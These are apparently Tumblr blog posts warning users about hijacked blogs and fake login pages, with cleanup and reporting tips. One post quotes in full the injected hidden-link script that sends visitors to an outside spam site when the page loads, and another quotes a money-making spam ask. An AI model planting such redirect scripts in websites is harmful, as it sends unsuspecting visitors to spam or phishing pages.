Our hijacker seems to be posting code in text posts, redirecting blogs to the links posted on this poison blog. If you visit a hijacked blog, refreshing the page takes you to a buncha different links.

 If you have one of these hijacked blogs, delete this garbage from the dashboard.

If there’s a chance that you visited one of those fake login pages, CHANGE YOUR PASSWORDS! 

We shouldn’t still be seeing these hijacked blogs…

Update: I contacted support re “pamlovelyone” got it taken down,

.

Beth, Aug-23 12:49 (EDT):
The spam content that you reported has been removed. Thank you for bringing it to our attention.
=//=
Beth —
Tumblr Support
support@tumblr.com

Read More

Our hijacker is adding junk to the description.

This is going to potentially make simply setting up a new theme not work…

<a id='goa' href='http://gotoenjoy.com/' style='display:none;'>link</a> <script> var url="http://gotoenjoy.com/"; function goto2(){         if(navigator.userAgent.indexOf("MSIE")>0){                 document.getElementById("goa").click();         }else{                 window.location=url;         } } goto2(); </script></div>

This bit of java script is a speedy little bugger to disable through the process of hitting the (x) on the browser… I had to open a hijacked page in multiple browsers to study the code.

Antiphishing describes how to use the (x) to stop the page from loading

Restore still seems like it should be the method of choice, hit revert one time and everything should be back.

 If anyone knows bingbrianr4czddt.tumblr.com they may want to let him know that he’s been hijacked, and that he needs to clean out his description box.

Probably better tell rosse19820509 as well…

Anybody else?

Seems like annabelle1994 and amanda-stackhouse appear to be the latest victims of a new kind of blog theft.

It took a bit of doing, but by clicking the x at the top of the page, I was able to examine the page code before the javascript forwarded them to that sex page.

Again, these seem to have been real blogs that had some additional code added, to the bottom, this time.

   I hope they take their blogs back soon.

.
.

Edit 7 hours later:

Congrats to  annabelle1994  on taking her blog back from the thief.

sorry I blocked you…

ne1 know how to “unblock”?  Tumblr help is no help.

Sorry, we can’t find that.

Anonymous asked:

We are forwarding this article to most Tumblr members. Our blog group is making an average of 300 per day per person. Here’s the article articlelink13(dot)com. Replace [dot] with . of course and enjoy. -Tumblr Entrepreneur Association

I googled this article link 13, and a lot of people seem to be posting answers to the creep. We need to get him off tumblr.

  How do we report this spammer?

I don’t think this bozo is even visiting our pages, I have trace my ip enabled on my theme, & there’s no record of his visit to my ask page. This is a common guestbook issue, when the robots find it, and post away…